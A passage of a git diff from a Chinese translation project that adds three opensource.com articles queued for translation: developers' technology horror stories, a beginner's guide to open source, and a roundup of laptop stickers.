considerations depending on the accessibility tech being used. For example, it's not easy for us to listen to someone and read at the same time, because we are basically getting both things through audio, unless someone is very proficient with the Braille display. + +Lastly, bear in mind that blind and visually impaired users consume the same end products as you do, whether that's presentation slides or websites or PDFs. When building products or creating content, your choices have a huge effect on accessibility and how easy it is for us to engage with the end result. Know that we are here, we love to use computers and technology, and we're often willing to help you test it, too. + +![Image of Vojtech holding a football][8] + +Image description: Vojtech holding a football. He is wearing a football uniform and protective goggles. + +This article originally published in September 2022 and has since been updated with the project's official name, Vojtux. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/linux-visually-impaired-users + +作者:[Vojtech Polasek][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/vpolasek +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-08/Vojtech.png +[2]: https://github.com/vojtapolasek/Fegora +[3]: https://opensource.com/article/20/12/eclipse +[4]: https://opensource.com/article/22/2/libreoffice-accessibility +[5]: https://opensource.com/article/18/9/intro-pandoc +[6]: https://opensource.com/article/19/9/introduction-markdown +[7]: https://opensource.com/article/19/8/what-are-environment-variables +[8]: https://opensource.com/sites/default/files/2022-08/Vojtech%20holding%20a%20football.jpg diff --git a/sources/talk/20221031.0 ⭐️⭐️⭐️ 20 technology horror stories about learning the hard way.md b/sources/talk/20221031.0 ⭐️⭐️⭐️ 20 technology horror stories about learning the hard way.md new file mode 100644 index 0000000000..6902cdd07b --- /dev/null +++ b/sources/talk/20221031.0 ⭐️⭐️⭐️ 20 technology horror stories about learning the hard way.md @@ -0,0 +1,262 @@ +[#]: subject: "20 technology horror stories about learning the hard way" +[#]: via: "https://opensource.com/article/22/10/technology-horror-stories" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +20 technology horror stories about learning the hard way +====== + +Sysadmins, web designers, engineers, and programmers share their scariest experiences on the command line. + +Halloween will be here before you know it! This fun, over-the-top holiday is a great time to ponder the mortal fears of the developer in each of us. What haunts you the most, in the quiet moments just before your code starts to run? + +Getting into the spirit of Halloween, I asked some Opensource.com writers: What's the scariest code you've seen or written? + +### Bad permissions + +I was responsible for a server, and I FTP'd something up. There were some funky things displaying, so I thought some permissions needed to be changed. + +Needless to say, I foolishly turned off read mode and took down the site. (A website is not much good when nobody can access it.) + +It took me hours to fix. This was at an agency years ago when I was the sole web developer. + +—[Miriam Goldman][1] + +### Shambling HTML + +I took down a client's website, who was an author on the Wall Street Journal bestseller list at the time, because the original WordPress default theme had an update available. + +His developer had hardcoded HTML into the theme instead of creating a child theme. I ran the update. + +This was in the days when folks didn't have nightly backups easily, so I spent hours on the phone with the hosting provider. Things like staging, child themes, nightly backups, or manual backups, are all now normal things, as well as the ability to auto-update and manually roll back. Not so in that era. + +—[Courtney Robertson][2] + +### Not-so-secret key + +I think many of us have seen a secret key in public code before. Or another favorite: A friend of mine sending emails to 100,000 users from the dev server. + +—[John E. Picozzi][3] + +### Unix mix-up + +This is a Unix story. It's fixed in [Linux][4] today. + +A day before I was going to give an important demo of a new component to management, I had to refresh my code (this was way before [Git][5] existed.) I went to my home directory, found the project directory, and deleted everything. Unfortunately, in that flavor of Unix, this command followed symbolic links, and I had a link to the latest version of the code (not all was on the source code system as it was still in the testing phase). + +A day later, there was a network problem in the building, so the demo was delayed for a day, and we managed to recover. It was more than three decades ago. Even now I have no clue whether the network problem was a coincidence or an attempt of our sysadmin to save us (if so, it worked!) + +—[Josh Salomon][6] + +### Imperative + +Seeing `!important;` all over a CSS file instead of proper use of specificity. + +I once had to override and customize almost all of a WordPress theme's CSS because the owner of the site wouldn't budge on getting a new theme that was closer to the design he wanted. + +That same theme was last updated by the developer in 2018, and the website is still using it. + +—[Christi Nickerson][7] + +### Misquoted + +In a previous role, my predecessor misquoted the lyrics to Journey's "Any Way You Want It" in a code comment. + +—[Ben Cotton][8] + +### The ghost of Algol68 + +Algol68's complexity, back in the late 1960s and early 1970s, frightened away many influential people, including Niklaus Wirth. The most common complaint I can recall back then was along the lines of "who could write a compiler for such a complicated beast?" And yet many people did. Moreover, many of the concepts developed or at least formalized as [Algol68][9] appeared in later languages, notably in C and the Bourne shell (thanks to Steve Bourne). + +Some of Algol68's concepts have not aged well. The concept of I/O dealing with "books" and "chapters," and so on, is a bit weird today. Leaving things like character sets to the implementation seems pretty old-fashioned. + +But some are, or should be, tremendously relevant today, such as expressions that yield a value, strong typing (types in Algol68 are called "modes"), [heap memory and garbage collection][10], definition and overloading of operators, and more. + +Sticking with the Hallowe'en theme, both tricks and treats. + +Algol68 is a language that merits study, if for no other reason than to see where so many of modern computing's ideas came from, and to see how many have been lost along the way. + +—[Chris Hermansen][11] + +### Passwords exposed + +I was doing a tech audit for an incoming support client, and the previous developer put passwords in plain text throughout the full theme, and used horrible ways to connect to a remote database. Their composer file was also ghoulishly bloated. It took five minutes every time I tried to get the site up and running locally. Outdated dependencies, repos I could not access, the list goes on. + +—[Miriam Goldman][1] + +### The maze + +The scariest code I ever saw was a piece of PDP-11 assembly language in the kernel of an operating system named RSTS, which nobody remembers today. Source code was on microfiche in those days, and I had followed this code path through a few twists and turns, trying to figure out what was going on. And then, I ran into this instruction: + +``` +MOV R5,PC +``` + +I threw up my hands and wailed. I really did wail. People in the office thought I'd hit my head, or had a heart attack. + +In those days, memory was precious and a `MOV` instruction used a teeny tiny bit less memory than a `BR` (for "branch") instruction. Copying the contents of register 5 into the program counter was really a cheap unconditional branch to the address stored in register 5. Except, I had no clue what was stored in register 5, or how to find it. + +To this day, almost 40 years later, I wonder who would write code like that and how anyone could debug it. + +—[Greg Scott][12] + +### Off by one + +I work in the automation industry, where the PLCs are programmed in some pretty weird languages. + +An example that haunts me is the fact that in the language [ST][13], you can define arrays to begin at index 1. It means that the first element is at position 1, not 0. It drives me nuts when I see it. + +—[Stephan Avenwedde][14] + +### Divergence + +I took a MongoDB instance down for 40 minutes once during a stage-to-prod launch. Our staging environment had diverged from production. It was just a database configuration difference—not very exciting. But it's a good lesson to make sure your staging and prod environments are in sync! + +—[Em Nouveau][15] + +### Unearthly whispers + +This is from a project that's still alive and kicking, but I've changed the code to hide the source. + +``` +for(int c =0; y < yyy && c < ccc; y++, c++){// some code here} +``` + +It seems like an innocent loop at first. But maybe you're asking why there are two variables with two stop conditions and two increments. And then you realize there's only one initializer and the second variable (`y`) is initialized before this loop in a different code block. + +When I realized this, it took me about an hour to understand why the code was written in this way, and how it's supposed to work. Obviously, there were no `c` comments and the variable names are meaningless (`c` is called `c` in the code and `y` has a bit more meaningful name, but not meaningful enough to explain to me its meaning, not even today when I understand what it does). + +—[Josh Salomon][6] + +### Critical data + +Around 1980, I got my first job after college. I was the Assistant Computing Center Director at an engineering college in Indiana. That's a fancy title for the second-in-command of a two-person IT shop. I handled administrative computing on a PDP-11/40, with RK05 removable "pizza platter" disk drives (2.5 MB each.) Each admin office had one drive, and part of my job was to back them up, disk to disk, every week. But I got busy over that summer and skipped the Registrar's Office four weeks in a row. And then I realized the risk, so I made sure to start my monthly disk-to-tape backup. + +I dismounted the Registrar's pizza platter from the 11/40 and mounted it on the 11/70, which had a 9-track tape drive, and started my backup. A few minutes later, I heard a scraping noise inside that disk drive. Yep, the heads crashed. In a few short minutes, I'd destroyed all the Registrar's data, and the then-most-recent backup, which was a four-week-old 9 track tape. + +It was a, well, uncomfortable moment when I had to look the Registrar department head in the eye and tell him I had destroyed all his data. + +Today, I tell new IT people you're not a pro until you've destroyed somebody's critical data, and there's no way to recover it. Remember that feeling in the pit of your stomach forever. + +—[Greg Scott][12] + +### Angry mob + +A client hacked WordPress core to add features that later came out in a routine update and couldn't understand why the site kept crashing every time they attempted to update LearnDash. (They also didn't like our report that called out their poor development practices.) They basically showed us the door calling us liars and incompetents. To this day, I still have delegate access to their domains and wp-admin access to production and development of two domains. + +They also, despite us sharing a link to an encrypted location for sharing access credentials, sent our logins over emails. + +—[Laura Byrne][16] + +### Don't forget to backup + +I've not worked much on corporate networks, so I haven't downed any servers. However, as I young person, I tried to help a person with an IT problem and somehow caused Windows 95 to crash, and had to reinstall it for free. + +Another of my saddest moments as a very young Amiga user was when my save disk, containing all my files, broke due to some mechanical failure. Nowadays, I've gotten better at backing up more of my important personal files. + +—[Rikard Grossman-Nielsen][17] + +### Root of all evil + +I was new to Linux, and I'd just come from DOS where I used Norton Commander. Then Midnight Commander got released and I was very happy about it. It wasn't packaged for the Linux distro I used at the time (Jurix), so I compiled it myself from source, just like other software I used at that time. It worked perfectly well, and suddenly I felt more at home on Linux. + +That's not the horror story. + +My colleagues told me not to run Midnight Commander as root, regardless of how comforting it was. But root was easy, and it felt more like DOS, so I ignored their advice. Long story short: I accidentally removed the content of the entire `/etc` directory. Until that time, I'd never had to use backups, but that day I learned that backups are actually useful. + +27 years later, I still remember this story, and I do regular backups. + +—[Peter Czanik][18] + +### Illusion + +The worst project one agency had me "make" was a one-pager that seemed straightforward at first. I said I'd be able to hash it together with some HTML and CSS, maybe a little Javascript. But they specifically asked me not to do that. They wanted me to cut out the design and literally use CSS to position those pieces around the page. They also had me add all CSS inline, directly into the HTML file, because they literally wanted **one page**. + +None of the text was real text. + +There were no real HTML elements aside from the ones needed to position those images. + +I told them that the design was simple enough that I could throw it together with actual code, but they didn't want that. They only wanted me to spend the time to cobble the pieces together and then move on to a different project. They had me make two little one-page sites like that. + +It hurt my front-end soul. It was physically painful for me to do that project. It was a temp-to-perm gig, and when they offered me full-time, I politely declined. + +—[Rachel Vasquez][19] + +### Corruption + +The scariest things to me are memory corruptions that can occur in ANSI C99. During a screencast, I captured this (not quite) paranormal occurrence in this [YouTube clip][20]. + +![Image of gseqencer before memory corruption.][21] + +The GtkEntry labeled `file` shows some random glyphs. I've double checked the [code][22], but didn't find any issues. + +The `ags_export_soundcard_open_response_callback()` function is a callback to the "response" event of GtkFileChooserDialog. (For the record, the tool to target this problem is [valgrind][23].) + +![Image of gsequencer after memory corruption.][24] + +—[Joël Krähemann][25] + +### Python fears + +The most horrific programming feature I ever saw is the access Python gives to its `dict`. Changing the type of an object at runtime is against my programming code of conduct. + +—[Josh Salomon][6] + +### Franken-net + +In 2006, I built firewalls based on Fedora and a bunch of scripting, and persuaded a customer with a large website inside a colo center to replace a proprietary firewall with one of mine. I built it and showed up to install it at 4AM one morning. That was when I learned (the hard way) that he had a load balancer behind his firewall, but with a public IP address. The customer endured a 5-minute outage, but I reconnected everything to the original, and it all came back online. + +I found a way to handle his franken-net configuration by using proxy ARP. The idea was whenever anyone from the outside world did an ARP request for the load balancer, I would answer. A few days later, I showed up at 4AM again and installed my system. This time, I knocked everything in the entire colo center offline. I had set up my proxy ARP to respond to everything, and so all traffic on the LAN eventually found me and disappeared into a black hole. + +Once I realized what I'd done, I put it all back the way it was. But the damage was done. If you tried to browse your favorite website around 4AM US Central time one morning in 2006 and it didn't respond, it might have been my fault. I knocked an entire colo site offline by installing one system in a rack and turning it on. + +The website operator screamed and I slunk out the door. They never invited me back to try again. That was a shame, because bridging probably would have worked. + +—[Greg Scott][12] + +### Your horror story + +What's your favorite technology-related horror story? Tell us in the comments (but be nice, and change project names to protect the innocent!) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/technology-horror-stories + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/users/miriamgoldman +[2]: https://opensource.com/users/courtneyrdev +[3]: https://opensource.com/users/johnpicozzi +[4]: https://opensource.com/tags/linux +[5]: https://opensource.com/downloads/cheat-sheet-git +[6]: https://opensource.com/users/joshs +[7]: http://cnickerson.com +[8]: https://opensource.com/users/bcotton +[9]: https://opensource.com/article/20/12/learn-algol-68 +[10]: https://opensource.com/article/22/6/garbage-collection-java-virtual-machine +[11]: https://opensource.com/users/clhermansen +[12]: https://opensource.com/users/greg-scott +[13]: https://en.wikipedia.org/wiki/Structured_text +[14]: https://opensource.com/users/hansic99 +[15]: https://opensource.com/users/nouveau +[16]: http://twitter.com/@NewYorkerLaura +[17]: https://opensource.com/users/rikardgn +[18]: https://opensource.com/users/czanik +[19]: https://opensource.com/users/rachievee +[20]: https://youtu.be/Go6r-CT06zc?t=103 +[21]: https://opensource.com/sites/default/files/2022-10/gsequencer-before-memory-corruption.png +[22]: https://git.savannah.nongnu.org/cgit/gsequencer.git/tree/ags/app/ags_export_soundcard_callbacks.c?h=4.4.x#n397 +[23]: https://opensource.com/article/21/8/memory-programming-c +[24]: https://opensource.com/sites/default/files/2022-10/scarygsequencer-after-memory-corruption.png +[25]: https://opensource.com/users/joel2001k diff --git a/sources/talk/20221107.1 ⭐️⭐️ What you actually need to know about open source to get started.md b/sources/talk/20221107.1 ⭐️⭐️ What you actually need to know about open source to get started.md new file mode 100644 index 0000000000..be8a97423b --- /dev/null +++ b/sources/talk/20221107.1 ⭐️⭐️ What you actually need to know about open source to get started.md @@ -0,0 +1,97 @@ +[#]: subject: "What you actually need to know about open source to get started" +[#]: via: "https://opensource.com/article/22/11/get-started-open-source" +[#]: author: "Katie Edwards https://opensource.com/users/kaedward" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What you actually need to know about open source to get started +====== + +A beginner's guide to open source explained in plain terms. + +So you want (or need) to figure out what ["open source"][1] really means. I'll cover the basics of open source, whether you're interested in contributing to a project or want to be in the loop at a new job where the term keeps getting thrown around. + +Full disclosure: I am a person with little technical experience, working in the content-design fringes of a very technical open source environment. Given my background in marketing and communication, I felt like a fish out of water when I made this career switch. [Git][2], data science, the ins and outs of software… It was, and still is a year later, a lot to comprehend. + +But that's why I'm writing this piece. I want to help make open source a little less intimidating. After all, at the center of open source is a supportive learning community—built for everyone, technically experienced or not. + +I'll start with the absolute basics. + +### What is open source? + +For the record, the industry definition of open source is available at the [Open Source Initiative][3] site. + +However, the popular perception of "open source" software is usually that it doesn't cost anything, the source code is accessible, anyone can contribute to it, and you can redistribute it or do whatever else you want with it. + +Some of that is true, and some of it plays into a few common misconceptions, one of which is cost. + +#### Open source costs $0 + +Is it true? Usually, but not always. By nature of its code being publicly available, open source software can be obtained at no cost. However, for-profit companies do exist around open source projects. But if the software is available at no cost, how do open source companies even exist? How do they make money? + +The concept of having a "free product" is counter-intuitive. But that's just the thing: A company doesn't have to sell software to profit from the management of products, storage of data, and customer support. + +Many companies follow a subscription model, offering customer support in case of bugs or general confusion. Data storage isn't free, so that is another area where these companies can bring in income. In this regard, the "product" isn't the software; it's the benefit of a subscription. + +- **The source code is accessible**: Is it true? Yes, always. This accessibility is a prerequisite for adopting the term "open source." The source code must be available to view, use, modify, and redistribute. +- **You can do whatever you want with the code**: Is it true? It depends. Subject to licensing terms, there are some limitations on how you can use code, but you can generally use it however you'd like. Whether that means tweaking a project to fit a specific need or using it as the basis for something else, open source software is yours, and everyone else's, to modify. +- **Anyone can contribute to open source projects**: Is it true? Yes - within limits. Anyone with the [right skill set][4] can contribute to open source. However, that doesn't mean all contributions are always accepted and implemented. + +For example, say you're interested in a project where the end goal is a catalog of all the types of birds in the world. You're really into dinosaurs, specifically dinosaurs that may have eventually evolved into modern-day birds. So, you contribute entries for all of the most bird-like dinosaurs. The project owners could see this and think, "Sweet, those are some great prehistoric birds." However, they're also allowed to say, "Hmm, those dinosaurs are like birds, but they're technically not birds yet. They probably don't belong on Birdpedia." + +Luckily, projects don't usually work under lawless conditions. Open source projects typically come with contribution guidelines and codes of conduct, so you don't have to worry about your additions flying off the rails. + +### Why open source? + +So, after all the contributions are made (if it's ever actually done), why would people give away their software for no cost? If so many people put their time and effort into creating something, why wouldn't they band together and slap a price tag on it? + +This question comes with a lot of answers. Here are a few: + +- Starting a business is hard, especially if the project you're working on doesn't form the strong foundation for a money machine. It can be easier to rally a bunch of like-minded people without commitments or the expectation of paychecks. +- Most open source communities consist of people interested in improving software or bringing it into existence but don't have the time or interest to commit to working full-time on a project. Sometimes open source represents passion projects, geek groups, and crowd-sourced solutions to annoying problems. +- The groups that form around open source projects of all sizes foster supportive communities where contributors and onlookers alike can practice their skills, improve software they regularly use, teach and learn from each other, and feel empowered to make their voices heard. Many open source communities are essentially hyper-focused online hobby clubs. + +### Where do I get involved? + +Now you may ask yourself, "But what do I do with this information? Can I contribute to open source projects? What if I'm not good enough yet?" + +Never fear—even [beginners][5] are welcome to contribute to open source projects. It's a great way to hone your skills while working with a community towards a larger goal. And, as I talked about earlier, the worst that can happen is your changes aren't merged into Birdpedia (and that's because those product owners just can't see your vision of a Birdpedia where birds and their ancestors gleefully coexist in an online world of bird-related knowledge). + +Do you have to know how to code to contribute to projects? Contrary to popular belief, [no, you don't][6]. Projects "take a village" to thrive, which means they need input from people of all different backgrounds. Visual designers, writers, marketers, reviewers, translators, subject matter enthusiasts, and even just users of the resulting product are all valuable contributors. Not only do they help build out and improve products, but they identify bugs, suggest improvements, spread the word about the project, and generally strengthen the community. + +In short, no matter what your background or experience, if you're interested in open source or a specific project, you're nearly guaranteed to be welcomed with open arms. + +### Get started with open source now + +Still not sure where to begin? Here are some ideas and resources to get you started: + +- [Up For Grabs][7] is a "list of open source projects which have curated tasks specifically for new contributors." This is a great place to find an easy first PR opportunity, which is a great way to find out what kind of contributions you'll enjoy. +- Check out this list of [beginner-friendly projects][8] on GitHub. +- If you're still not feeling inspired, consider [contributing][9] to (or flying with) [PatternFly][10], Red Hat's open design system. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/get-started-open-source + +作者:[Katie Edwards][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/kaedward +[b]: https://github.com/lkxed +[1]: https://opensource.com/resources/what-open-source +[2]: https://opensource.com/resources/what-is-git +[3]: https://opensource.org/osd +[4]: https://opensource.com/life/16/1/8-ways-contribute-open-source-without-writing-code +[5]: https://opensource.com/article/18/4/get-started-open-source-project +[6]: https://opensource.com/article/22/8/non-code-contribution-powers-open-source +[7]: https://up-for-grabs.net/?ref=hackernoon.com#/ +[8]: https://github.com/MunGell/awesome-for-beginners +[9]: https://github.com/patternfly +[10]: https://www.patternfly.org/v4/get-started/design diff --git a/sources/talk/20221108.1 ⭐️⭐️ What stickers are on your laptop.md b/sources/talk/20221108.1 ⭐️⭐️ What stickers are on your laptop.md new file mode 100644 index 0000000000..757bb09bfc --- /dev/null +++ b/sources/talk/20221108.1 ⭐️⭐️ What stickers are on your laptop.md @@ -0,0 +1,272 @@ +[#]: subject: "What stickers are on your laptop?" +[#]: via: "https://opensource.com/article/22/11/laptop-stickers" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What stickers are on your laptop? +====== + +Your laptop is a blank canvas ready to be decorated with self-expression. What are your favorite stickers? Take our poll and then read what other open source enthusiasts had to say. + +Having just switched work laptops last December, I realized how much I love applying stickers to my work machines. Sometimes the stickers are souvenirs from past events, others are from projects that I am passionate about, and some are just for fun! + +Curious to know what others had on their laptops, I asked! + +### Accessibility advocate + +![AMyJune's laptop with lots of Drupal stickers][1] + +Here is my work laptop (Can you tell my roots are in Drupal). My favorite decal is the Druplicon with the wheelchair... When [Drupal 8 came out, we took the logo][2] and blended it with the wheelchair because the agency I worked with focused on accessibility. + +—[AmyJune Hineline][3] + +### Fresh Java + +![Alan Formy-Duval's laptop with various linux decals][4] + +I have always had stickers on my computers and stuff since I was a kid. I think my favorite is either Tux or the Linux Inside. They are mostly field-relevant except for just a few.  In the bottom-right corner, I have Java running on Tomcat (haha) - an area I spent much of my career doing. + +—[Alan Formy-Duval][5] + +### Utilitarian purpose + +![Rikard Grossman-Nielsen's laptop with two velcro strips glued on][6] + +Well, I don't have any stickers. However, I've glued Velcro bands on my two laptops to secure my external hard drive for when I'm gaming on the bus. I have also glued a lock notch on. + +—[Rikard Grossman-Nielsen][7] + +### Maintain the look + +![John 'Warthog9' Hawley's laptop with a mix of decals][8] + +Not the most decorated laptop by far, but I like the collection (and you know, hard to get more without travel for a while!) + +My favorite is the "last one to commit is the maintainer". It's a snarky comment on the state of maintainership, as well as a promise that the code will live on as a result. + +Mostly it boils down to things I use or contribute to, think are meaningful, or just found the sticker awesome. + +—[John 'Warthog9' Hawley][9] + +### Window covering + +I never put stickers on my laptop because it seems to me the only really cool stickers are the ones I don't have (said the grumpy old man.) +But the old homebrew computer my kids used to use in high school, a 3GHz Core Duo with 8 GB of memory, has an Open Mainframe sticker on it that I grabbed at the Linux Foundation Open Source Summit here in Vancouver a few years ago. I quite like that one. +And because in my life, the **Control** key lives next to the **A**, not down on the bottom row, I have a few keyboards around with a **CTRL** sticker on the CapsLock key and a **CAPS** sticker on the **Control** key, which work together with the [swap Ctrl and CapsLock option in GNOME Tweak Tool][10]. +Finally, I used to peel off Windows stickers, back when my only option was buying computers and paying the Windows tax, and put Linux sticker over the gummy patch. Same with keyboards that had the Windows logo on the Super key. + +—[Chris Hermansen][11] + +### Mementos + +![StrangeMama's laptop with a Kanopi sticker and various other decals][12] + +The Kanopi sticker is by far my favorite sticker. Not only is it shiny and iridescent, but it's a constant reminder of how amazing this company is to work for. They seriously put their employees first, and they're super mindful in selecting client projects that align with Kanopi's overall company mission and vision. +The Curt V8 sticker is in remembrance of a dear friend. He loved Fords and my husband loves Chevys. The constant fun rivalry resulted in randomly placed Ford and Chevy objects snuck into garages depending on whose house we were at. I smile every time I see this Ford emulated sticker on my laptop, since I live in a Chevy family. +The variety of stickers represents the family adventures that we have been on throughout the years. Date nights, friends, family road trips, scary hiking adventures (Angels Landing), and my youngest's drive to get a police sticker from every city and state. + +—[Kristine Strange][13] + +### Conference swag + +![Cindy William's laptop with various decals including a Kanopi sticker and Glimore Girls decals][14] + +The dragon is [my college mascot][15]. I also have some Gilmore Girls and coffee stickers. + +Here’s a photo of my daughter’s door, filled with stickers I’ve brought back from conferences over the years. + +![Cindy William's daughter's door covering tale to stern with decals from various WordPress and Drupal Camps][16] + +—[Cindy Williams][17] + +### Sticking with chicken + +This is my not-work laptop. My work laptop is basically being covered in a honeycomb of hex-shaped stickers of our products, open source projects I use and support, and at least one Opensource.com hexagon. :) + +I can’t pick a favorite, since they are all favorites, or I wouldn’t have them on the laptop that goes with me everywhere. I am overly fond of the chickens, the Raven, and Sergi the Cat with his knives. + +![Kevin Sonney's laptop with various decals][18] + +![Kevin Sonney's laptop with various decals][19] + +—[Kevin Sonney][20] + +### Foodie fun + +I used to load up my laptops with stickers. The one I bought last year filled up fast: + +![DJ Billings' laptop with various decals including a muffin][21] + +My favorite is the cupcake & donut one because I illustrated it. +I just bought a [System76][22] Darter Pro laptop and I love it. I got a bunch of really cool stickers with it, but I've been hesitant to put them on the laptop. I don't know why. + +—[DJ Billings][23] + +### Keeping it clean + +![Don Watkins' laptop with opensource.com and Red Hat stickers][24] + +I don’t put a lot of stickers on my laptops but I’ve got my two favorites on my current laptop, which is System76 Darter Pro. + +—[Don Watkins][25] + +### Life's essentials + +![Katie Sanders' laptop and Yeto mug with decals][26] + +I included my water bottle, too. I think I like those stickers even more. +Beer, dogs, music, croissants. What else could I need in life? + +—[Katie Sanders][27] + +### My mantra + +![Faye Polson's laptop with "yeet or be yeeted" decal][28] + +My favorite sticker is **yeet or be yeeted**. + +—[Faye Polson][29] + +### Garlic + +![Tiffany Bridge's laptop with movie, WordPress, and garlic decals][30] + +Most of the stickers are professional, but the **Greetings from Hamunaptra, City of the Dead** sticker is a subtle reference to one of my favorite movies, **The Mummy** (1999) starring Brendan Fraser and Rachel Weisz. + +The flags and the **Blackbeard’s Bar & Grill** stickers are references to **Our Flag Means Death**, which I am completely obsessed with. +And the garlic is the Cosmic Garlic sticker of my friend's shop. Garlic is a folk remedy for all kinds of diseases, so it seemed like a good thing to put on a laptop during a pandemic. + +—[Tiffany Bridge][31] + +### Open source projects + +![Seth Kenlon's laptop with various linux and open source decals][32] + +I usually cover my laptop with projects I use, contribute to, or admire. Statistically, my laptop should be layered with a lot more stickers by now. I haven't been to a tech conference in three years, so the pace has been slower than usual. + +—[Seth Kenlon][33] + +### Decked out in Drupal + +![April's laptop features several Drupal stickers.][34] + +I add stickers that represent me in tech. So I include organizations I'm a part of, events I've attended, and projects I support. +It's always fun to see the Drupal bear on people’s laptops since I designed it. +Notice all of my stickers are on a laptop cover for preservability. + +—[April Sides][35] + +### Wild about WordPress + +![Michelle Frechette's laptop with misc WordPress and Wapuu decals][36] + +My favorite is hard to pick, but probably the **Michelle wapuu**! She’s so me! + +The stickers **I press all the words** and **WordPress is my super power** are from WordCamp Rochester, so those are near and dear to me. + +Basically, I’ll add a sticker if I have a history with it (I spoke at the camp, for example), or I just like it! + +—[Michelle Frechette][37] + +### An eye for art + +![Dagger McJagger's Laptop with misc Drupal and open source decals][38] + +I heavily lean towards art stickers. Seeing art on my computer reminds me of the people I know and experiences I’ve had while using this computer. + +My favorite is the sad-face Midsommar sticker that my partner gave me. After seeing the movie for the first time, we stood outside the theater discussing it for hours into the night. We still reference it to this day. + +—[Jonathan Daggerhart][39] + +### Custom skin + +![Sallie Goetsch's laptop with a custom goddess Ereshkigal skin][40] + +I got a new travel laptop in 2019, and it remains pristine because I have not been to any events since then. My work laptop has a custom skin of the goddess Ereshkigal, after whom I named the computer. + +—Sallie Goetsch + +### GNU Emacs + +![Sachin Patil's laptop with only one sticker][41] + +A GNU Emacs sticker. + +—[Sachin Patil][42] + +### Opensource.com + +After seeing everyone's responses, and maybe getting some cool stickers in the mail from a very brilliant community manager... + +OK, OK, I give! AmyJune, Don, and Sachin convinced me to put ONE sticker on my laptop. + +Here's a photo showing my laptop with its singular sticker: + +![Chris Hermansen's laptop with an opensource.com sticker on it][43] + +—Chris Hermansen + +### Stickers and open source + +You don't have to adorn your computer with stickers. It's not required, and it certainly doesn't mean you love open source more or less than anybody else. But if you love an open source project, there's a good chance that it's got a sticker you can use to decorate your computer (or your door, water bottle, or USB microphone). Rest assured that if you love open source and you love stickers, there's a strong intersection between the two! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/laptop-stickers + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-11/amyjune-laptop.webp +[2]: https://www.drupal.org/files/cta/graphic/drupal%208%20logo%20isolated%20CMYK%2072_1.png +[3]: https://opensource.com/users/amyjune +[4]: https://opensource.com/sites/default/files/2022-10/Alan%20F..webp +[5]: https://opensource.com/users/alanfdoss +[6]: https://opensource.com/sites/default/files/2022-10/%20Rikard%20Grossman-Nielsen-1.webp +[7]: https://opensource.com/users/rikardgn +[8]: https://opensource.com/sites/default/files/2022-10/%20John%20%27Warthog9%27%20Hawley%20.webp +[9]: https://opensource.com/users/warthog9 +[10]: https://opensource.com/article/18/11/how-swap-ctrl-and-caps-lock-your-keyboard +[11]: https://opensource.com/users/clhermansen +[12]: https://opensource.com/sites/default/files/2022-10/kristine.webp +[13]: https://opensource.com/users/strangemama +[14]: https://opensource.com/sites/default/files/2022-10/cindy%20williams.webp +[15]: https://www.uab.edu +[16]: https://opensource.com/sites/default/files/2022-10/cindy%20duaghter%20door.webp +[17]: https://opensource.com/users/cindytwilliams +[18]: https://opensource.com/sites/default/files/2022-10/%20Kevin%20Sonney%20.webp +[19]: https://opensource.com/sites/default/files/2022-10/%20Kevin%20Sonney%202.webp +[20]: https://opensource.com/users/ksonney +[21]: https://opensource.com/sites/default/files/2022-10/DJ_laptop-stickers.webp +[22]: https://opensource.com/article/19/5/system76-secret-sauce +[23]: https://opensource.com/users/itsjustdj +[24]: https://opensource.com/sites/default/files/2022-10/don%20watkins.webp +[25]: https://opensource.com/users/don-watkins +[26]: https://opensource.com/sites/default/files/2022-10/Katie%20Sanders.webp +[27]: https://enterprisersproject.com/user/katie-sanders +[28]: https://opensource.com/sites/default/files/2022-10/faye3.webp +[29]: https://twitter.com/faye_polson +[30]: https://opensource.com/sites/default/files/2022-10/tiffany_0.webp +[31]: https://tiff.is/ +[32]: https://opensource.com/sites/default/files/2022-10/seth-laptop.webp +[33]: https://opensource.com/users/seth +[34]: https://opensource.com/sites/default/files/2022-11/april.webp +[35]: https://opensource.com/users/weekbeforenext +[36]: https://opensource.com/sites/default/files/2022-10/Michelle%20Fre.webp +[37]: https://meetmichelle.online +[38]: https://opensource.com/sites/default/files/2022-10/Dagger%20McJagger.webp +[39]: https://opensource.com/users/daggerhart +[40]: https://opensource.com/sites/default/files/2022-10/Ereshkigal%20laptop%20skin.webp +[41]: https://opensource.com/sites/default/files/2022-10/psachin.webp +[42]: https://opensource.com/users/psachin +[43]: https://opensource.com/sites/default/files/2022-10/%20chris%20hermansen%20.webp diff --git a/sources/talk/20221110.6 ⭐️⭐️ 4 key differences between Twitter and 